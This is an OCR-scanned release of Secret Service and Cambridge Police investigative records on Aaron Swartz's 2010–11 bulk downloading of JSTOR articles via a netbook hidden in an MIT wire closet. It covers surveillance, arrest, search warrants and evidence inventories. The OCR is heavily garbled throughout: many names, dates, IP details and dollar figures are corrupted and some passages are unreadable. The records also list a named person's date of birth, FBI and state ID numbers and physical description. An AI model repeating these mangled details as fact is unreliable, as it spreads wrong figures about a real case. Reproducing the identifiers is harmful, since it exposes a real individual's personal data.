of the New EBngland Electronic Crimes Task Force, received a call from| (B)(6).B}7HC)]
Y&V (YUY JMIT.EDU) of the Massachusetts TInstitute of Tachdvloqgy Police

Cepartment, informing him that en unauthorized computer had bean found in a wire

Cloget on MIT grounds and MNetwork Traffic suggested that the computsry was being wsed

to download eapensive technical journals without authorization. The computer was

found in 2 wire closet ~f the basewment 0f Building 16, the Dorrance Building (77

Maosachugetis Avenue, Cambridge, MA)} which houses the MIT Rioleogicai Tngineering

Departmsnt. oK)
B}8).(bX7NC Ol (B)(B).(EX7XC)
Also cn 01/04/11, SA( MG1ENTNC) Datectivel7NC)  land patacris

o f.

the Boston Police Department, traveled to MIT and mat with (B)B).(BX/KC)]
[(B)(8).(BXTXT) Joit.ecu) of the MIT 9, b}B).(b)| in the oasement of building
To. Criminal Lst {b)B).(bUTHC) | andf(b}8).(D)THC) rom Cawbridge Pelice processed the

scen2 for prints. The netbook found connected to the switch in the wirm closet ia
the basemant of building 16 was an Acer Aspive Cne with a serial rumber
LUSAXOROC10011008160). Hetwork traffic indicated that the netbeok was using two P
addreases [(BYB).ON7HC) | ard [(BYBLMOITHC) | which aze both 1P addresses belonging to MiT.
Use of huap showad that the retbook had port 22 and 8632 cpen. Zort 22 is the
dafault port for $8H {Yecure Shell natwork protocol) and pert 80692 is often
agsociated with TCP (Transmission Contrul Proutocol) traffic. A surveillance camera
was placed in the wire closet Lo recnrd anyone returning £or zha retbaok.

Continuing on 01/04/11, at approxirately 1528, the surveillance camers recnrded &
white male later identified as Aarcn Swartz {OCB 11/08/86) enrer the wire clcset.
Based cn the surveillance vidac, 3Jwartz appeared to replace the sxtarnal hard driva
with a new one and take the old hard drive with him.
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(b)(6).(b) (D)(8).(b)

Farther on 01/04/11, {7XC) was ahle fo provide SA |2y with the foliowing
timeline:

b)(8),(bY7)C) r—'
On 03/26/10, (IpMEK (bX6).(BN7)C) 2 l racelved an

email from{(BY6),BYINC) ] anagur stating that at 0800
excessive downloading of journals had been detacted from MIT and that all of
MIT access to JSTOR would be blczked., JSTOR converts printed scholarly
journaly into electronic form and stores them in @ cencral azchive that can be
acccosed by librarias and institutions such as MIT.

On 09/27/10, the MIT Wetwork and Information 3ecurity Team received gn emall

from|{b)(6) (B)(7)C) |scholarly Publi
icenaing, regarding excessiva dewnlceading frem rwo 1P addrasses (B)(6).()7)(C) |

and 16,55,6.215. JSTOR rastored MIT access but blocked access te the

identifled I[P addresses. [[BYBLONTNC) Pt . edu),
(b){8).(b}(7)(C) ralyat, atscovered nctwork registration for

TGary Hosl7 with cmall address ghostlmailinator.com, a MAC address of
50235a735€fb and computer rama “ghoat-machook” reglstered on the network on
09/24/710. [(BX6),b)(7 |digabled the somputer registration.

on 10709710, [PXELEXNC)  lerom as7on[BBLBYNIC) stars amailed [®IELENTNC) | the
leX(8).(b}7HC) fro infcrm ner that KIT's accaess "o JSTCR had been
cut off again due to ezcessive townloadirng,

on Lf be MIT Hetwork and Information Security Team recsived an smail
£romj(b)(8).(b) 7K Istatinq ~hat JSTOR informed her Lhat excessive downloading ceme

from 1P address {(b)(B}(bYTHC) |

On 10713710, |[(B)6).(E)(] traced the secund otcurrence of excessive unauthorized
downloading to a computer regisiered on the natwock a» “Grace Host” with &n
emall of ghost42@mailinavor.com, 8 MAC address of (317f22cb074 and computer
name of “ghosi-laptap”. [(BY6).(B) ] disabied the host rvegistrat.ons identified as
bogus. {(b)(8).(b}7}C Network Security and Supgort HServices for

MIT, nobtifaen nd ub)és) ‘b)gxc) JHIT Operaticns znd
Infragtructure, that information indicated that the same unknown person appears

to be using MIT Juest vagistvation from a wired connection in building 16.

Oon 11729710, the MIT Network and Infoxmation 3ecurity Team was notified oy the
MIiT tranch of the Institute of Electrical and Electronic Bnginesrs rhat joucnal
spidering has occurred on thelr site and it waa tracked to the Student
Inforwvation Processing Board XvM <luster, a group of computars that are shered
and that anyone in the MIT community can use tn host a Virtuval Machina.

on 01/02/11, I‘;";";E’;“” | received an email f:c.ml(;g);(e)'(b’m torwarded trom|{®)OMD)

infoxming him that that the excessive downloading oi journals had begun uyain,

J

on 0t/04/11, [BNEM®) | amat)pq [BIEMBNTHC) | b [BYELENTNC)  xetwork
Operations, and[(t)(8).(b)}7XC) init.sdu} a Network Enqincer fur
Neework and Infraatrocruce services Fot M{T, asking them to further pinpoint
the locavion of the computer downloading the journals. At Oaaa,located
a scmputer hidden by a bexr connected to a switch in a ware closet in the
basement of building 1€. The computer was aluso connected to an extermal harcd
drive. [B)8,(b)(] establisted a packet capturm of the sama aswitch the compurer was
found attached tua,

a.lso previded SplX6).M) | yith a copy of historical network flow data
(GIELEITNC) ans (YELBRTCL]

concerning IP addresscs and [(b)}(8).(bY7XC) | from 12/14/10 to (1/04/11 and
UHCP log information for couputers reqlistered as ghost-macbocok and ghast-laptop.

2633



(b)(6),(b) (b)(6),(b)(7)
3A|TYC) centacted SA[C) CID] at the CEDT Cocrdination g1 at the
Scitware Engineering Insritete at Carnegiz Mellen University. Qprov‘dcd A
(£)(8).(b} 7} with iastructlans to upload ths data to the CERT drop box.

on 01{06/11, at approkimately 1232, video survsillance showed the individual later
identified av Swartz roturn to tha wire closet and remove the nethook and external

hard <lr;m~_ﬁ}___|m_q;‘, matwly 1411[{L)6).(BU7KC) Jof the MIT Policve Department
cal Lad{b}(8).(b}7)}C) of the MIT Police Department and stated that he had located
the suspect lster ldentified as Swartz riding his bicycle an Massachusetts Avenue

near the‘.intezsection with Les Street in Cambrldge, Massachusetts. [(b)8).(bX7)(C) ]
and Sal(byB)(k) responded to Lee Street to asaist|(b){6),(bY7HC)

atrenpced to inty e{0 M) B Howaver, Swartz lump&d oif o his bicycle and ran
down Lee Strast. (b)(ﬁ) BT snd sa[(b)(@)(b){] darained the auspect. An inventozy

of the backpack the suspect was wearing contained a US passport in ths rame of Aaran
Swartz that was later identified as the suspect. Swartz was transported by Cambridge
Polica to Cambridge Police headquartsers ta be booked for Breakirg and Entering.

Also on C1/06/11, checked the DHCP lugs for computer ragistrations with
containing the word ghost. Ghost-laptop was identified ag 3till keing ac tive on tha
MIT network using the same MAC address as uaed on 01/04/11 to dounload journals.

(b8 (b 7)Y Tinrt.edud an MIT Network Engineer, traced ghost-
laptop on tha network te building ®20 on the 3% flcor. MIT Building W20 is the
Stratton Student Centexr {(bY6),(bX7HC) Jand{(B)8).(b) Jrraveiad to the stzatton

Student Center and dutermined that the network drop location ghost-laptop connected
to was the Student Information Processing Board ofiice, room 557. ﬁconta»tad

(BY(B).{BY7HC) ] o inform him what they had traced the netbook Lo a .oom n the
student centur.  SHBXBL{B)(7] me [B)6).(OK |enoat the student center and found
the Acer Aspire uetbook and axternal hard drive unattended, undezr a table, powered on
and connected ta the MIT netwerk by a cable. Using gloves 33 exam.nei tha
netbook. The netbook appeared to ba frozen halfway in the shut_».k.wn state and o1l
attempts to accesa 3 terminal oa the machine were utsuccessfuyl, It was determined it
sould not he pogsible to conduct live forensics or capture a srapshot of the memory
of the computer in ita current state. The laptop was placed In an evidence bag and
turnaed over to MIT Police to be luvertoried into evidence.

Also on 01/06/11, SAl(,bz),(,g),'(b) lar-,d [(b)8).(bX7)C) rraveled to Cambridge Follce
Headquartera to interview Swartz. \+ Cambridge Headquarters SA [(£)(6).ib}] mer Philip G
Cormier I(b)(e).gb)gﬂ(Ci m“mqoodco‘rmie:,com). Cormier informed SAJBNE)(DI] that
he represent2d Swarcz and that his cilent wonlid not make a statement. Swartz was not
cooperative with investigators, Swartz initially refused te prov ride his name, date
of birth and other bilcgraphical information.

b)(8),(b}(7)X{C)
On 01710/11, S» (b)(6).(b) AUSA Heymann and( . o from J3TCR conducted a

conference call to Jdiscuss the theft of material frcem JSTOR.

on 01714711, salENO® | porerrive l(b)(ﬁ),(b)(?)(C) land AUSA Haymann
met ar tho HIT ot'zix.e of General Counsel with(b)}8).(bX7)(C) | counsel Eor MIT. The
details of that meeting will be contained {n a memozandum oI inferview Lo o made &
part of tniy rcase foider.

JUDICIAL ACTION:

Gn 01706711, Rarun Swartz was arrested by MIT Police Department for viclation «f
Massachusetts Gencral Taw chapter 266 section 18, Rreaking and Entering in ths
day-ime for felony.

un 01/06/11, SA (b)(©),(b) callad AUSA Steven Heymann to inform him of the investigatlion
of Raron Swarcs
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On 01/07/11, Aaron Swartz was arralgned {n Cambridge District court for violation of
MGL C266 618, breaking and entering and hia case was assigned docket numbser
1152CRC0O73.

SUSPECTS / DEFENDANTS:

AARON H SWARTZ ~ DEFENDENT - ARRESTED (STATE)

AHKA: N/A

RACE: White

SEX: Male

DOB: 11/0B/1986
3SN:

FBY: 675304KD0
SID: MA13536559
HT: 57~ 06"
WT: 120 1bs,
EYES: Brown

HAIR 3rouwn
1599; Panding
1599A: Pending
PHOTO: Yes
PRINTS: Yes

POB: Chicago, 1L
DL/STATE:

ADDRESS:

EMAIL:

DATABASE CHECKS: 01/07/11
EXAMS CONDUCTED:
ECSAP: Pending
Poly: N/A
FSD: N/A

OATABASE SEARCHE3 CONDUCTED:

mcr / CI: 91/07/11
NCIC/BLETS: 01/07/11
CC8/CIT: 01/07/11
LOCAL LE: 01/07/11

Results of database searches have bsen reported under "Details of Investigatlon”,
EVIDENCE / CONTRABAND / PERSONAL PROPERTY:

All evidence in this case ia currently at MIT Police Headquarters,

DISPOSITION:

Case continued pending further investigation and judicial ascticn.

‘IF:F» TG E] | / Riceiardi
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U.S. SECRET SERVICE INYESTIGATIVE REPCRT

FEOM: BOSTON FIELD QFFICE FILE: 102-775-60C7i=-§
T0: CRIMINAY LMNVESTTGATIVE QIVISION X~REF: N/A

SAN FRANCISCO FIELD OFFICE
TNFO: IHVESTIGATIVE SOPRORT JIVISION SEIZURE#: N/A

SUBJECT: REQUEST FOR INYESTIGATION OTHER DISTRICT

ACTUAL LOSS: § fBD POTENTIAL LOC8S; 5 2,000.€00.G0

CASE TITLE: ARRON SWARTZ

CASE TYBE: 775,510

SECONDRRY TYPES: 248,151, 14d.304, 843,930

CONTROLLING OFFICE: 30SYTOM FIELD OFFICE

REPORT MADE BY: sal {b)(8).(bY7)(C)|
OATE CASE CPENED:  01/0T7TT

PREVIOUS REPORT: OPENING REPORT 01/21/11

REPORTING PERIOD:  01/22/1L - 03/02/:1

STATUS; CONTINUED

BYNOPSIS:

Aaron Swartz broke ifnte a network closet in MIT, attached a laphtep to the MIT netwerk
and illegally downloased s larga number of documepnts from JSTOR. Agents and
Detectives of the New England Zlect:ionic Task Focci executud a search warrant on
Swartz’s residence and otfice.

The San Francisco Field Office 16 ruquested to intsrview twe known assoclataes of
Swartz to determime thelr knowledge of his activities.

Case rontinuaed in bBogton,
DETAILS OF INVESTICATION:

Reference is made ta all previous reports in thls case, the most recent of which is
the opening report written by Sa|(bX6),(bX7len Ci1/21/11.

(b)(8).(b)X7XC)

bj(6),
on 01/25/11, SA (B)8).(BATHC) Moragor Por ISTOR, Losovc
(b)(6).(b)7) jthe frem the Cffice of Ganeral Counsel of l§T%?.th6)(bM7XC) J
(b)(6).(b)}(7)}C Punlic Systems for JSTOR, {(B)8),(bX7XC) Marager far JSTOR
and AUSA Stephen Heymann held a conferense =all confirmed that JSTOR has
licensing agreements with publishers to wake journals and articles available oo the
J9TOR web site and that some of those licensing agreemants include reverue aharing
with publishers in which the publishers will Jef. 2 share of the fees JSTOR collects
from institutions {(DNB).D)7 |stated that some of the publishars allow for a direct fee
fo download an_Llodividual articte bub soms publishers do not want individual articles
downloaded. [(D)(6).(b)( Jestimated chat the value of the documents Swartz downloaded must
bo in excess oF 57 million. [(B)6).(b)( Jstated that he believed the average cost of
articles were 514.00. [(B)N6).(b) jstated that the Lirst indication of an intrusion was a
degradation of service for all customers. [(BY6){ | stated that the saftware on the
JSTOR site relies on cockies to trick users and that Swartz must have fovnd a way to

deleta the .3 R cookies froem his aystam prisr to making a new request <o dewnload a
document. [(B)(B), lstated multiple dewnload requests oocurred simultanepualy and that
at times hundreds of douwnlosd requests wera oceurring sconcurrently. kbxeizbjccn*irrvd

that the JSTOR torma and conditions clearly pronibited the kind of downleading Swartz
was doing.

bj(8).(b b)(6).
On 42/03/11, SA( 1o®) snd Detectivae gbL7Lc receivnd the Acer Aspirs netboak, hard

drive enclosure, Western Di

als ] Lufs oq ned in the apciosure, and RE;
flash drive from MIT Police|(bX6).(BX7HC) gA [(0)(8), () Jand Dei wctive[b)HO)ENT)(
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taok the evidence items directiy to Cambridge Police Keadquartercs. The avidenze
items wera Leogged into Cambridge Police evidence and taken to the Cambridge Polica
Identification Unit. The Identification Unit began processing the items for fingev
prints. The results of the analysisz is still oending.

| Ez ' B)(6).(b)7)C)

On 02/4/11, sn( (8).(b) | Detectivre( Ko of the Tambrlidge Police, ()8 LXTHC)
from the Massachusalis Institute OF Tochnolugy and AUSA Stephen Haymamm hald 3
conferance call. |(DX6),(b){|explained that he was driviang to work on 01/04/11 when

called him and told him v} he found a laptop connegted ko a switch.
explained that previously|(b){6).BY7AC) |had sent an email toJ(BUB)(b)(|describing the

switch he had traced the excessive downloading from JSTOR. {(BH6).(B) [expiained that
afterl( )(8),(b)( |found the laptep connected to the switch he started a packet capture on
the same sw;gch. 0)(8),(E)(] alsc explained that the switch the laptop was connected to
was an entry switch and that normally cnly edge switches should be plugged into ™h
entry switch. also explained that when [[B)81(b)(7)(C) Jarrived he used MMAP to
discover that port 22 and B8C92 were open on the laptop that was discovered.

said that reviewsd the packet captuve = scovered 14 differant 1P addresses

sending 5SH traffic to the laptop.l(bi(a)-(b) E‘!Ld beliave that some of tphe [F addrasses

ware S5R background ndise however he did netes that cuuld be traced to

the linerva scxver at MIT. The linerva server is a Linux dial up server run by the

Sturdent Tnformation Processing Board at MIT. |(b)(6)'(:b) statad that bhe was 3tlli working

on analyzing the packet zapture )

i B)(6),(6
on 2007711, [OASLDITHC) Jeoid sa 5;{50))( : that he noticad that on 91/06/11 the laptop

naé Swartz was briefiy registersd on the HIT networck from building 4 of MIT.
(LXBLIYTI] noc teed that during that time the Laptop communicatad with 1P addresses
b)(6),(bX7)C) and {(b)(6),{b)}(7}C) Jstatad that those TP

=)

addresses are associated with Amazon Elastic Compute Cloud which is a web sexrvice
that provides resizable compnte capacity in the cloud.

Also on 02/07/11, (B)().(BY7)C) gent an enail o AUSA Heymann to revise her estimate
of how many document were downloaded by Swartz (B}6).(b)(7]stated that Swart:
dewnloaded over 2.8 mills ioglaegts in Novemher snd December of 2010, [(bY6).(b)}{]aieo
forwarded emails from|(D}(6).(bX7)(C) istatinq that the initial analysis of the activity
indicated that the downloads ware dcn¢ systematically usipg gequantliod increases in
stable URLS. The same email included a3 statament £rom[(b)BLBN7NC) | of JSTOR that
the downloading did not appesr to ha targetad towarda resegaxczh axticles or any
particular titlea, collectiona, ov digoiplines. for the 2.9 million downloads in

Novanber and December, rtna breardown was 1,385,569 researzh articles, 238,963
roviaws, 62,127 rews artizles and 9,472 editorials.

on 02711711, 5a[PIO®) | argaze [PXELENNCT ]  JONSLENTNC) | ) (EVENBNTHC) Jang

Cetactive exacurod a search warrant on Swart:’s residsnce ac 350
Magsachusetts Avenue, Apactment[b)6)] Cambridge, Massachunetts, OSwartz wes home 2t
the time the search was executed. While the gearch was conductad Swartz made
statemeats <o the effact of “what took you guys so long” and “why didn't you do this
=arllexr?” The search fteam seizad several items described in greatar detall in tha
Evidence section of this report., Aftar conplsting the search of Apartment the
asgarch team raturned tc the filrst floor te seargh the storage lovker allocated %o
apartmen While =n the flrst floor SAKEXG).(b)|observed Swartz leave the
building, walk to the street and sprint away after he reached the street. After
ascertairning that none of rhe items in thas arovage locker belonged to Swartez the
3narch team moved to 124 Mount Auburn Stimat in Cambridge, Massachusetts where the
Harvard University, Edmond J Safza Cenier for Ethics is located and Swartz was listed
as a 1ab iellow. The scarch tsam observed Swaztz at the Zafra Tenkar for Ethics.
Harvard University Polirze secured Swarrz’s office to prevent Swarte from destreying
any evidence while & warrant was cbtained. Atter a seaxcn warrant was obtained, the
taam searched Swartz‘s offica at the Safra Centex, SA|(bNB).(B) |selzed and Appla iMac

corput2yr and a Western Digital hard dvive from Swartz's oftice.
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On 082/25/11, Detectxveﬁgggk“” ceceived the Acer Aspire netbook, hard deive encicsure,

Western Digital hard drive conteined .n thoe enclosure, and the USB flagh drive from
Cambridge Police Broperty Technician[(b)(6).(BY7)(C) detect iva|(PX6).(P)|took the

avidencea itema direcltly to tha ECSAP Lab Evidence Vault.

SUSPECTS / DEFENCANTS:

AARON H SWARTZ2 - SUSPECT

1599; Yes
1599R; No
{b}6).(bX7XC)

. SR YT
AKA: (b)(8).(b)(7)(C) |
RACE: White
SEX:
DOB:
38N
FBI:
SIn:
HT: MR D
WT: 120 lbs,
EZES: Brown
HAIR Brown
1599; No
1595A: No
PHOTO: No
PRINTS: ko
POB:
DL/STATE:
ADDRESS:
EMATL:
DATABASE, CHECKS: D2/24/11

(b)(8).(bX7)(C) | SUBJECT

ARA: N/A
RACE: Whita
SEX: Yamale
DB (b)(8).(bX7)(C)
83N
FBI: W/Aa
SiD: N/A
HT: N/A
WT N/A
EYES: Brown
HATIR Brown
1999: Ko
15994A: Ko
PHOTO No
FRINTS: No
POB:
DL/3TATE:
ADDRESS ¢
EMAIL:

DATABASE CHECKS: 02/24/11

EXAMS CONDUCTEUD:
ECSAP: Ongoing

Poly: N/A
FSD: K/A
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DATABASE SEARCHES CONDUCTED:

MCI / C1: 91/07/11
NCIC/NLETS: 01/07/11
(CS/CFT: 01/07/11
LOCAL LE: 01/07/11 +

Results of database searches have been reported under "Details of Investigation”.

EVIDENCE / CONTRABAND / PERSONAL

EVIDENCE SSE 1844 s/n:
DATE OF INVENTORY:
TNVENTORY MADE BY:
DESCRIPTION OF ITEMS:

SEIZED / OBTAINED FROM:
LOCATION:
DISPOSITION:

FWIDENCE SSK 1544 S/u:
DATE OF INVENTORY:
INVENTORY MADE BY:
DESCRIPTION OF ITEMS:

SEIZED / OBTAINED FROM:
TOCATION:
DISPOSITION:

EVIDENCE SSF 1544 S/N:
DATE OF IRVENTORY:
INVENTORY MADE HY:
DESCRIPTION OF ITEMS:

SELZ2ED / OBTAINED FROM;
LOCATION:
DISPOSITION:

EVIDENCE 3SPF 1544 5/u:
OATE OF INVENTORY:
INVENTORY MADE BY:
DESCRIPTION QF ITEMS:

SETZTD / GRTAINED FROM:
LOCATION:
CISPOSITION:

EVIDENCE 3SF 1544 5/N:
DATE OF INVENTORY:
INVENTORY MADE BY:
DESCRIPTION OF ITEMS:

PROPERTY:

102 2911 CE 31

G2/711/1%

SA

Scientific Atlantic Modem SH# SM1565968
Apple Mulii Adapter SHE 579395M72ZU6
Aplls Multi Adapter SNE GF7231NNU4S
Black Notebook Journal

Aaron Swarte

A3cabton Tield Offica Bvidence Vault
Hoird paending judieial action.

102 2011 CE 22

G2/
sAJ(b)8).(bY7KC

Harvard University EArning Statamgnt
Earning Statement Addressed t¢ Aargp Swazt:
Master’s Thesis M-876 Lind

Weotern Dlgitsli Mail-in Rebate Form

Agron Swartz
Boston Fisld Office Evidence Vault
Held pending judicial astion.

102 2011 CE 33

02

5a(B)(B).(B)(7)(

Wirelasss-G &.4 GHz Brceadband Routsr Linksys
MacBook Mac 05X Install Jisc one and two
MaeBaook User Guide in Gray Cardboard case

Apple Care Service Letter Dispatch Rua276108

Genius Bar Wark Confirmation
Aaren Swartz

Boston Fiald Office Evidence Vault
Held pending judicfzl action.

G2 2011 CE 34

227117
sa [(b)(6).(bX7)
Nokia Call Phone

T-Moblle, HTC C2 cell phone

12 Magnetic Media Tapes

Aaron Swaxtz

Boston Field Office EBvidence Vault
Held pending judicial action.

102 2011 €2 15
02/11/11
sa [BIE.EXNEC) ]

Metallic Blue 1Pod
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SEIZED / OBTAINED FROM:
LOCATION:
DISFOCITION:

EVIDENCE 5SF 1544 S/N:
DAYE OF THVENTORY:
INVENTORY MADE 3Y:
BESTRIPTION OF ITEMS:

SELZED / ODTRINED FRGHM;:
LOCATION:
DISPOSITION:

EVIDENCE SSF 1544 S/N;
ODATE OF INVENTORY:
TNVENTORY MADE av:
DESCRIPTION OF ITEMS:

SETZED / QUTAINED FRCOM:
LOCATION:
DIZPOSITION:

EVIDENCE SSP 1544 S/N:
DATE 0OF INVENTORY:
INVENTORY MADE BY:
DESCRIPTION OF ITEMS:

SETZED / OBTAINED FROM:
LOCATION:
DISFOSITICHN:

EVIDENCZ 33F 1%44 5/N:
DATE OF IMVENTORY:
IHVENTORY MADE 0Y:
DESCRIPTION OF ITEMS:

SEIZED / OBTAINED FROM:
LOCATION:
DISPOSTITION:

EVIDENCE SSF 1%44 S/M:
DATE OF INVENTORY:
INVENTORY MADE BY:
DESCRIPTINN OF ITEMS;

SETZED / CBTAINED FROM:
LOCATTON:
DISPOSITION:

Wnite 12»d uith carrying case

Wnite iPod with serial number HAG330856UX8A
white iTalk

Blarck 16GB Thumb-drive

Aaron Swarta

Boston Field Office fvidence Vault

Heald pending judicial action.

102 2911 C& 3%
2

Dag11/ss .
5A|(0)(8).(b)(7)
Fifry-four mlacellaneous compact discs

Two hard drive enclosures
T-Mobile Sidekick

Sony Micrn Vault

Aaron Swartz

Boston Field Office Tvidence Vault
Held pending judicial asticn,

102 2011 CE 38
024 1

gp [(bXB).(b)(7) |

Fifty-four miscelianeous comgact discs
Two hard drive enclosures

T-Hobile Sidekick

Sony Micro Vault

Aaron Swartz

Baston Field Office EBvidanca Vaulg
Hald perding judicial action,

102 2011 CE X?

02, y

sxf(b)(8).06X7)

OVD-R with haondwritten label

fockst notebook

Pure Drive Quick start guide

Digk urility internal bard drive upgrade kit

Seagate Barracuda Hard Orive Installatiecn Guide

Aaren Jwartz
Boston Field Office Evidence Vault
beld pending judicial action.

102 2011 CE 38

02
sAl(BXB)ADYTHC

Apple iMac Model Al311 serxial number WB025AXGCET

Wastern Digital ¥s:rd Diive SM #MANMNIONS?24
Aaren Swarte

Boston Field Office Evidence Vault

Held pending judicial action.

102 2011 g 29

02 :
=al(b)(6),(b)(7)HC)

Acer Asplre One 3N LUSAXODCOLGCLLO01ELSNL

Rocketfiah Znclosure with WD hard drive WMAZA152667S

HP 05D Drive mavked N04155MKBTL 85102
Carbridge Police

Boston Field Cffice Evidence Vault
dold pendinqg jud:icial action,



DISPOSITION:

lb 6),(b l
The San Francisco £ield Office ie requested to interview FDXG)ibX7KC) [and( X6).(b)
(BYE)L(BUNC) Jto determine if Swartz Qimcussed JSTOR or NIT with them ard iZ they had any

knowledge of Swarte’s downloading of documents from JSTOR.

Case continued pending fuxther investigation snd judicial aétion.
G
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3 Ec;(;/si)ty on Massachusetts Institute of Technology network).txt

dar 04, ) B4 PM
o) (coy; [DOON o010y,

WFO) ; l(b)(&).(b)(?)(C) I (CHD) ;|(b)(6).(b)(7)(C)

(REN)

Sug%eci: unauthorized activity on Massachusetts Institute of Technology
networ

Attachments: 0SC01776.3pPG; DSCOL786.3PG; DSC01784.3PG

FYL

Unauthorized activity on Massachusetts Institute of Technology network
02 0%/04/11Aoetect1ve Joseph Murphy of the Cambridge Police Department and a member

et DOLLAA ectronic Crimes 7Ta rce recelved a ca rom e | |

IT.EDV) of
assachusetts Iastitute of Technology Police that an unauthorized computer had been
found in a wire
c1ozet ?n gxr grounds and Wetwork Trafflc suggested that the computer was being used
to downloa
technical gournals. The computer was found in a wire closet of in the basement of
Building 1 t?e

porcance 8uil 7 Massachusetts Avenue) which has MIT Biological Engineering
léna me
{b)(6) (b (C) mit.edu), an [EROIOITIC) ]

oIl OIY) Tfor MLT stated . . .

4 ) OF 0%/03/11 the Tibrary had notified him that someone was downloading large

numpers o

journdls from the library without authorization. Large amounts of unauthorized

downloading was first

noticed by the Tibrary on 09/29/10 and on 11/23/10 there was another incident of

excessive SENOGIE)

dogqlq:dwng. Fromiol 03/11 to 01/04/11“ 6), ] was able to trace the

activity to a particular

switch In the wire closet. wheanKBX(b“7X°) Mit.edu) when to

examine the

wire closet he found the unauthorized computer connected to the switch. An external

hard drive was

connected to the nethook. The netbook was an Acer Aspire one with a serial number
ANin0dl 100€1601. The netbook matches the description of an Acer netbook

(8).

- reported as stolen to MIT Police on 12/31/10. The netbook appeared to
e

usin

addres'sg(](b)(ks.(b)(7)(0)I and [P)X6LONTNC) | which are 1P address belonging to MIT, use of
NHap showsd

that the netbook had port 22 and 8092 open . Port 22 is the default port for $SH
(secure_shell network

protoco]g and port 8092 that is often associated with TCP (Transmission Control
Protocol) traffic.

Cambridge Police processed the scene for prints. Stickers on the outside of the
netbook showaed that

it was or1$ina11y loaded with wWindows 7 starter edition but an examination of the
screen indicated that

the current operating system was Ubuntu, a type of Linux. The login screen showed a
computer name .

of “ghost-laptop" with the user “Gene Host” Togged in. The login screen had a

assword, A1l efforts to
ypass the login screen were futile. (bXB).(bA7NC) started a wireshark packet capture

of traffic on the

switch aroynd 9aM on 01/04/11 and the packet capture is continuing. Fbxsx‘bx7xc) I

provided s{(b)(B).(b)7XC)] .

with a copy o ow traffic on the network. The flow traffic is currently being
page 1
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D1SD0c47 (Unauthorized activity on Massachusetts Institute of Technology network).txt
uploaded to the CERT )

dropbox. MIT decided to leave the netbook running in place with the hopes of
capturing more

network traffic to show if a suspect was controlling the netbook through a SSH
channel and if the .

network traffic can show where the suspect 1s controlling the netbook from. MIT
placed a camera in

the wire closet to observe 1f the suspect returns for the netbook. MIT also
estahlished an alarm to ,

gotigy QIE if the nethook 1s removed from the network. The technical journals being
ownloade

have a monetary value. A1l MIT students have access to view the journals but are
Timited as to how

much they can download and anyone outside of MIT including students after they
graduate have to )

pay a substantial subscription to access the files. The price for downloading one
file can vary from . .

%%80688 58 $3,000.00. Total value of the downloaded files could be in excess of

(£)(8).(bX7}C)

U5, Secret service
fice

{b)(B).(bYTHC)

fage 2
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WordPerfect Decument Compare Summary

Original document: N ™) 1y Seiaure Warrants\Swartz, Aaron (Heyman)\Selzure Warrant
ALf Drait 5-1 Z-lo.wpd
Revised document: NATWETENT_Ja Seizure Warrants\Swartz, Aaron (Heyman)\Final Seizure
Warrant Drafl.wpd
Deletions are shown with the following atiributes and color:

Strikeowt, Blue RGB(0,0,255).

Deleted text Is shown as full text,
Insertions are shown with the following attributes and color;

Double Upderline, Redline, Red RGB(255,0,0).
The document was marked with 22 Deletlons, 26 Insertions, 0 Moves.
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Mastser Name Photos Page 1 of 3

01/06/2011 15:03:00(1100000437) AARON SWARTZ H

http:l/pd-imsZ/QEDIpolicepartner/oommou/crimweb/mniview/photoa.jsp'!agemy:null&m... 4112



Mastser Name Photos Page 2of 3

01/06/2011 15:03:00(1100000437) AARON SWARTZ H

2646 R IF
http:/lpd-rmsZ/QED/policcpnnnerlcommon/crimeweb/mniview/pho(os.]sp?agencv:null&m... 4112011



Mastser Name Photos Page 3 0f 3

01/06/2011 15:04:00(1100000427) AARON SWARTZ H

hitp://pd-rms2/QEDfpolicepartner/common/crimeweb/mniview/photos.jsplagency=null&m... 4772011
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Main Porm Page 1 0f 4

CAMBRIDGE POLICE DEPARTMENT
CAMBRIDGE, MA

Property Custody

Property (tam Information
Agency Name Incident # Tog Nuuber CQlassification
CAM-PD 11000078 11000078 BVIDENCE
Current Stutus DT Staum
ACTIVE
DT Entered

(B)(6),(BA7NC) 02/03/2011 11:29:10

: ‘ DT Updaied
(B)B).{bX7XC) 02/25/2011 09:01:13

2648
httpv'/pdmns’.’!QEDl/policepartner/common/crinwweb/propvicw/main.jsp?iu:mnum:1 1000... 4/7/201}



Main Form Page 2 of 4

itlem Dascription

Property Type Quanilty Estimated Value
COMPUTER HARDWARE/SOFTWARE 3

Descripdon

1 SEALED PLASTIC BAG WITH COMPUTER ,HARD DRIVE .CORD

Make Model Color |Serlal Number

Owner information
Nameo MNI Nomber Phone

Addrese City State Zip Code

Notations

Notation #: 1 Type: AUDIT
: ID/Nane DT Rntered
[©@).®17C) ] 02/2272011 09:46:28

Notation #: 2 Type:
M/ Name DT Putered
{(B)(6).(bX7}C) | 02/22:2011 15:43:53

Notation #: 3 Typo: NOQTATION
10 / Name DT Butered
I(b)(ﬁ)‘(b)ﬂ)(c) |8 022512011 09:00:35

Notalion Text
removed after Audit Tumed over to De

(6Y(6).OX7)
(C)

2649
hitp://pd-rms2/QED//policepartner/common/crimeweb/propview/main.jsplitemaum=11000... 4/7/2011



Main Form

Page Jof 4
Custodies
Custody Information
T'ransfer Typs DT Treusferad
CHRCKOUT 02/25/2011 09:01:13
‘ ate o DT Entered
(EXB).(bX7XC) 02/25/2011 09:01:13
Transfer Frorn Informatlon
Personuet/OfMcer ID Agency Name
®X6),(b)7)C)|CNOHEINTHC) CAM-PD
‘Transfer To Information
| Cersongel/Offlcer [0 Nome Agency Name
{b)(8).(b)(7)(C) (D)(6).(bX7/}C CAM-PD
Cods Name Ruslness File
SS SS .
External Person Name Lab Submission Number
Custraly Notationx
REMOVED BY [mi@i wi7ic JFOR SEARCH WARRENT
|Custody Information
‘Tramsfer Type DT Transtered
MOVE 021172011 15:09:08
Entered By: ID/ Name DT Entered
bX8LEXTIC)  02/22/2011 15:09:08
Transfer From Information
Lovation Shelf Bin
ID UNIT
), | Nanua A N.
e B ) (©)(6).BX7IC) Ryprin
Transfer Ta Information
Location Sheif Bin
ID LAB LOCKER
Pesogul, p am Ageney Name
[ (b)6).(oy7yC)  ['BIO)BANIC) CAM-FD
Custody Notations
PROCESSED ALL ITEMS. POSITIVE RESULTS FOR LATENTS.
2650
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Main Form

Page 4 of 4

Custody Information
Trassfer Type DT Traodered
MOVE 02/03/201) 11:35:53
Extered By: (1> / Name, DT Entered
(bX8),(®)7)C) 02/2242011 15:03:53
‘Transfer From [nformation
Locaton Sueif Bin
IDLAB LOCKER
Permunnc/Otlicsr Agency Namo
